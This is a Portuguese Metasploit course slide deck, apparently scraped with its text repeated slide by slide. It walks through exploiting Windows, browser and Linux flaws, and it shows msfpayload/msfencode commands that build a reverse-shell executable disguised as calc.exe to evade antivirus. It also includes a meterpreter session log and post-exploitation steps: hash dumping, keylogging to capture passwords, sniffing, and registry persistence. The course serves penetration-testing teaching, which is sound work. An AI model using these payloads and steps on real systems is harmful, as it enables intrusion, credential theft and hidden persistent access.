Who am i?ROBERTO SOARES (3SPRETO)Pesquisador de Vulnerabilidades Freelancer.Integrante do Team BackTrack Brasil.Administrador de Servidores.Entre outros...®
Exploitation
Cenário
Tópicos AbordadosExploiting MS;
Exploiting Browser IE;
Exploiting Firefox;
Exploiting Linux;
EvasionA.V.;Exploiting MSExploit: Microsoft Server ServiceRelativePatchStackCorruption (ms08_067).Descrição:Permite execucão remota de código. O exploit explora uma falha no sistema RPC do Windows.
Opções:RHOST  =  Especifica o endereço IP remoto.PAYLOAD =  Cria a comunicação entre o alvo e o atacante.LHOST =  Especifica o endereço IP local.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
Ataque
Owww!
Demo
Exploiting Browser IEExploit: Microsft Internet Explorer “Aurora” Memory Corruption (ie_aurora).Descrição:Permite um atacante remoto executar código arbitrário, acessando um ponteiro associado a um objeto excluído, relacionados com a memória inicializada incorretamente e manipulação indevida de objetos na memória.
Opções:URIPATH  =  Definiremos como “/”.PAYLOAD =  Cria a comunicação entre o alvo e o atacante.LHOST =  Especifica o endereço IP local.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
AtaqueAo clicar, é criada uma conexão reversa entre o alvo e o atacante
Owww!
Demo
Exploiting Browser FirefoxExploit: Firefox 3.5 escape() ReturnValue Memory Corruption (firefox_escape_eval).Descrição:A vulnerabilidade pode ser explorada por um atacante que engana a vitima para a visualizacao de um site malicioso contendo o codigo de exploracao. A vulnerabilidade afeta a funcao JIT do javascript.
Opções:URIPATH  =  Definiremos como “/”.PAYLOAD =  Cria a comunicação entre o alvo e o atacante.LHOST =  Especifica o endereço IP local.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
AtaqueAo clicar, é criada uma conexão reversa entre o alvo e o atacante
Demo
Exploiting LinuxExploit: Remote Buffer Overflow(remote_buff).Descrição:Iremos explorar uma simples falha de buffer overflow e vamos adicionar o script exploit no Metasploit. Buffer Overflow acontece quando o tamanho de um buffer ultrapassa sua capacidade máxima de armazenamento, ou seja, recebe mais dados do que o tamanho esperado..
Opções:PAYLOAD =  Cria a comunicação entre o alvo e o atacante.RHOST =  Especifica o endereço IP remoto.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
Ataque
Owww!
EvasionA.V.Anti-vírusPrevenir, detectar e eliminar vírus de computador.Será?
NÃO, isso não adianta!!!
msfpayloadSintaxe de uso:# msfpayload <payload> [var=Val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[V]BA|[W]ar>Exemplo:# msfpayloadwindows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4455 X > exec.exeHelp?!# msfpayload -h
msfencodeSintaxe de uso:# msfencode <options>Exemplo:# msfpayloadwindows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4455 R | msfencode -x calc.exe -t exe -e x86/shikata_ga_nai -o badcalc.exe
# msfencode  -h# msfencode  -l
_ _ _ | |__ __ _ ___| | _(_)_ __ __ _ | '_ \ / _` |/ __| |/ / | '_ \ / _` | | | | | (_| | (__| <| | | | | (_| | |_| |_|\__,_|\___|_|\_\_|_| |_|\__, | |___/ _ _ _ | |__ __ _ ___| | _(_)_ __ __ _ | '_ \ / _` |/ __| |/ / | '_ \ / _` | | | | | (_| | (__| <| | | | | (_| | |_| |_|\__,_|\___|_|\_\_|_| |_|\__, | |___/
[*]Startedreversehandleron 192.168.0.185:4444[*]Automaticallydetectingthetarget...[*]Fingerprint:  Windows XP Service Pack 3  -  lang:Portuguese  -  Brazilian[*] SelectedTarget:  Windows XP SP3 Portuguese  -  Brazilian  (NX)[*]Triggeringthevulnerability...[*]Sendingstage (725504 bytes)[*]Meterpretersession 1 opened  (192.168.0.185:4444  ->  192.168.0.142:1043)meterpreter  >  execute  -f  cmd  -i  -c  -HProcess 3952 created.Channel 1 created.Microsoft Windows XP [versão 5.1.2600]Copyright  1985-2001  Microsoft  Corp.C:\WINDOWS\system32\ _E agora?
PostExploitationMeterpreter;
PSExec;
Incógnito;
Keylogging;
Sniffing;
Mantendo Acesso;
Timestomp;MeterpreterMeterpreter supera as limitações e fornece várias APIs que permite ao atacante executar diversos ataques de exploração no Shell meterpreter.
Meterpreter oferece:Comandos de execução e manipulação;
Interação com o Registro;
Interação com o Sistema de Arquivo;
Redirecionamento de portas e Pivoting;
Despejar senhas em formato hash;
Manipular  Mac Times  de arquivos;
Entre outras;Comandos principais
Comandos Sistema Arquivos
Comandos de Rede
Comandos Sistema
Interface Usuário
Extensão priv
Demo
PSExecPSEXEC é frequentemente utilizado por pen-testers para obter acesso a um determinado sistema em que já se conheça as credenciais.Bingo!!!De posse da hash, atacante usa o exploitpsexec contra o servidor.Atacante obtém acesso a um host interno e executa o comando hashdump.
Exemplo
Demo
IncógnitoResumidamente: Um token de acesso é o principal responsável para a descrição do contexto de segurança de um processo ou segmento. Isto inclui o manual do usuário, grupos e privilégios. Com base nessas informações, o kernel do Windows pode, então, tomar decisões de controle de acesso baseado em operações privilegiadas solicitado por um processo. Tokens são geralmente associadas a um determinado processo ou segmento e são objetos do kernel.
Exemplo
Demo
KeyloggingKeylogger(que significa registrador do teclado em inglês) é um programa de computador do tipo spyware cuja finalidade é monitorar tudo o que a vítima digita, a fim de descobrir suas senhas de banco, números de cartão de crédito e afins.
KeyscanNo shellmeterpreter, iniciamos nosso keylogger.Agora, esperamos  o tempo que julgar necessário!ZzZzZzZzZzZzZzZ!!!!
Enquanto isso...
Deu certo?Executamos o comando keyscan_dumpe.......Voilà, capturamos o login e a senha do alvo.Agora, basta parar o keylogger!Obs.: Migre para o processo explorer.exe para não dar erro.
Demo
SniffingSniffing é o procedimento realizado por uma ferramenta conhecida como Sniffer, é capaz de interceptar e registrar o tráfego de dados em uma rede de computadores.
Vamos cheirar?Nosso cãozinho, chamado maradona, está louco pra trabalhar.Primeiramente, devemos carregar a extensão sniffer.Agora listamos as interfaces e iniciamos a interface especificando pelo seu número identificado.
DumpVamos salvar o que ele farejou até agora em um arquivo com extensão .cap, com o nome de sniffer.Por fim, encerramos nosso sniffer.
Demo
Mantendo acessoPois bem, até aqui esta indo as mil maravilhas certo? Não! E se a pessoa reiniciar ou até mesmo desligar a máquina destino? Bom, vamos querer continuar com acesso a ela, para que posteriormente possamos obter mais informações. Sendo assim, lhes apresento o script persistence, um simples script que nos proporcionará acesso sempre que precisarmos.
Entendendo.O comando acima, cria um arquivo executável na máquina destino, a opção –X, diz que o arquivo deverá ser executado durante o boot da máquina. Por padrão, será detectado o LHOST e a porta utilizada será a 4444 (Default).Veja que foi realizado o upload de um executavel emC:\DOCUME~1\espreto\CONFIG~1\Temp\sqKgWI.vbs, vejam com a saída do comando ps, e observem que foi criado com o nome wscript.exe.E em seguida, foi criado um arquivo autorun na seguinte chave do registroHKLM\Software\Microsoft\Windows\CurrentVersion\Run\dslGwNBitnTzsu.
Connecting... Ok, assim que executamos o comando exploit, conseguimos nossa shellmeterpreter novamente com o alvo.

Slide curso metasploit

  • 2.
    Who am i?ROBERTOSOARES (3SPRETO)Pesquisador de Vulnerabilidades Freelancer.Integrante do Team BackTrack Brasil.Administrador de Servidores.Entre outros...®
  • 3.
  • 4.
  • 5.
  • 6.
  • 7.
  • 8.
  • 9.
    EvasionA.V.;Exploiting MSExploit: MicrosoftServer ServiceRelativePatchStackCorruption (ms08_067).Descrição:Permite execucão remota de código. O exploit explora uma falha no sistema RPC do Windows.
  • 10.
    Opções:RHOST = Especifica o endereço IP remoto.PAYLOAD = Cria a comunicação entre o alvo e o atacante.LHOST = Especifica o endereço IP local.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
  • 11.
  • 12.
  • 13.
  • 14.
    Exploiting Browser IEExploit:Microsft Internet Explorer “Aurora” Memory Corruption (ie_aurora).Descrição:Permite um atacante remoto executar código arbitrário, acessando um ponteiro associado a um objeto excluído, relacionados com a memória inicializada incorretamente e manipulação indevida de objetos na memória.
  • 15.
    Opções:URIPATH = Definiremos como “/”.PAYLOAD = Cria a comunicação entre o alvo e o atacante.LHOST = Especifica o endereço IP local.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
  • 16.
    AtaqueAo clicar, écriada uma conexão reversa entre o alvo e o atacante
  • 17.
  • 18.
  • 19.
    Exploiting Browser FirefoxExploit:Firefox 3.5 escape() ReturnValue Memory Corruption (firefox_escape_eval).Descrição:A vulnerabilidade pode ser explorada por um atacante que engana a vitima para a visualizacao de um site malicioso contendo o codigo de exploracao. A vulnerabilidade afeta a funcao JIT do javascript.
  • 20.
    Opções:URIPATH = Definiremos como “/”.PAYLOAD = Cria a comunicação entre o alvo e o atacante.LHOST = Especifica o endereço IP local.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
  • 21.
    AtaqueAo clicar, écriada uma conexão reversa entre o alvo e o atacante
  • 22.
  • 23.
    Exploiting LinuxExploit: RemoteBuffer Overflow(remote_buff).Descrição:Iremos explorar uma simples falha de buffer overflow e vamos adicionar o script exploit no Metasploit. Buffer Overflow acontece quando o tamanho de um buffer ultrapassa sua capacidade máxima de armazenamento, ou seja, recebe mais dados do que o tamanho esperado..
  • 24.
    Opções:PAYLOAD = Cria a comunicação entre o alvo e o atacante.RHOST = Especifica o endereço IP remoto.Dica: Sempre que for executar um exploit, tentar especificar ao máximo todas as opções presentes no exploit e no payload. Pois assim diminuirá a carga na rede, a alocação de memória e evitará o processo de fingerprint no alvo.
  • 25.
  • 26.
  • 27.
    EvasionA.V.Anti-vírusPrevenir, detectar eeliminar vírus de computador.Será?
  • 28.
    NÃO, isso nãoadianta!!!
  • 29.
    msfpayloadSintaxe de uso:#msfpayload <payload> [var=Val] <[S]ummary|C|[P]erl|Rub[y]|[R]aw|[J]avascript|e[X]ecutable|[V]BA|[W]ar>Exemplo:# msfpayloadwindows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4455 X > exec.exeHelp?!# msfpayload -h
  • 30.
    msfencodeSintaxe de uso:#msfencode <options>Exemplo:# msfpayloadwindows/meterpreter/reverse_tcp LHOST=192.168.0.110 LPORT=4455 R | msfencode -x calc.exe -t exe -e x86/shikata_ga_nai -o badcalc.exe
  • 31.
    # msfencode -h# msfencode -l
  • 32.
    _ _ _| |__ __ _ ___| | _(_)_ __ __ _ | '_ \ / _` |/ __| |/ / | '_ \ / _` | | | | | (_| | (__| <| | | | | (_| | |_| |_|\__,_|\___|_|\_\_|_| |_|\__, | |___/ _ _ _ | |__ __ _ ___| | _(_)_ __ __ _ | '_ \ / _` |/ __| |/ / | '_ \ / _` | | | | | (_| | (__| <| | | | | (_| | |_| |_|\__,_|\___|_|\_\_|_| |_|\__, | |___/
  • 33.
    [*]Startedreversehandleron 192.168.0.185:4444[*]Automaticallydetectingthetarget...[*]Fingerprint: Windows XP Service Pack 3 - lang:Portuguese - Brazilian[*] SelectedTarget: Windows XP SP3 Portuguese - Brazilian (NX)[*]Triggeringthevulnerability...[*]Sendingstage (725504 bytes)[*]Meterpretersession 1 opened (192.168.0.185:4444 -> 192.168.0.142:1043)meterpreter > execute -f cmd -i -c -HProcess 3952 created.Channel 1 created.Microsoft Windows XP [versão 5.1.2600]Copyright 1985-2001 Microsoft Corp.C:\WINDOWS\system32\ _E agora?
  • 34.
  • 35.
  • 36.
  • 37.
  • 38.
  • 39.
  • 40.
    Timestomp;MeterpreterMeterpreter supera aslimitações e fornece várias APIs que permite ao atacante executar diversos ataques de exploração no Shell meterpreter.
  • 41.
    Meterpreter oferece:Comandos deexecução e manipulação;
  • 42.
  • 43.
    Interação com oSistema de Arquivo;
  • 44.
  • 45.
    Despejar senhas emformato hash;
  • 46.
    Manipular MacTimes de arquivos;
  • 47.
  • 48.
  • 49.
  • 50.
  • 51.
  • 52.
  • 53.
  • 54.
    PSExecPSEXEC é frequentementeutilizado por pen-testers para obter acesso a um determinado sistema em que já se conheça as credenciais.Bingo!!!De posse da hash, atacante usa o exploitpsexec contra o servidor.Atacante obtém acesso a um host interno e executa o comando hashdump.
  • 55.
  • 56.
  • 57.
    IncógnitoResumidamente: Um tokende acesso é o principal responsável para a descrição do contexto de segurança de um processo ou segmento. Isto inclui o manual do usuário, grupos e privilégios. Com base nessas informações, o kernel do Windows pode, então, tomar decisões de controle de acesso baseado em operações privilegiadas solicitado por um processo. Tokens são geralmente associadas a um determinado processo ou segmento e são objetos do kernel.
  • 58.
  • 59.
  • 60.
    KeyloggingKeylogger(que significa registradordo teclado em inglês) é um programa de computador do tipo spyware cuja finalidade é monitorar tudo o que a vítima digita, a fim de descobrir suas senhas de banco, números de cartão de crédito e afins.
  • 61.
    KeyscanNo shellmeterpreter, iniciamosnosso keylogger.Agora, esperamos o tempo que julgar necessário!ZzZzZzZzZzZzZzZ!!!!
  • 62.
  • 63.
    Deu certo?Executamos ocomando keyscan_dumpe.......Voilà, capturamos o login e a senha do alvo.Agora, basta parar o keylogger!Obs.: Migre para o processo explorer.exe para não dar erro.
  • 64.
  • 65.
    SniffingSniffing é oprocedimento realizado por uma ferramenta conhecida como Sniffer, é capaz de interceptar e registrar o tráfego de dados em uma rede de computadores.
  • 66.
    Vamos cheirar?Nosso cãozinho,chamado maradona, está louco pra trabalhar.Primeiramente, devemos carregar a extensão sniffer.Agora listamos as interfaces e iniciamos a interface especificando pelo seu número identificado.
  • 67.
    DumpVamos salvar oque ele farejou até agora em um arquivo com extensão .cap, com o nome de sniffer.Por fim, encerramos nosso sniffer.
  • 68.
  • 69.
    Mantendo acessoPois bem,até aqui esta indo as mil maravilhas certo? Não! E se a pessoa reiniciar ou até mesmo desligar a máquina destino? Bom, vamos querer continuar com acesso a ela, para que posteriormente possamos obter mais informações. Sendo assim, lhes apresento o script persistence, um simples script que nos proporcionará acesso sempre que precisarmos.
  • 70.
    Entendendo.O comando acima,cria um arquivo executável na máquina destino, a opção –X, diz que o arquivo deverá ser executado durante o boot da máquina. Por padrão, será detectado o LHOST e a porta utilizada será a 4444 (Default).Veja que foi realizado o upload de um executavel emC:\DOCUME~1\espreto\CONFIG~1\Temp\sqKgWI.vbs, vejam com a saída do comando ps, e observem que foi criado com o nome wscript.exe.E em seguida, foi criado um arquivo autorun na seguinte chave do registroHKLM\Software\Microsoft\Windows\CurrentVersion\Run\dslGwNBitnTzsu.
  • 71.
    Connecting... Ok, assimque executamos o comando exploit, conseguimos nossa shellmeterpreter novamente com o alvo.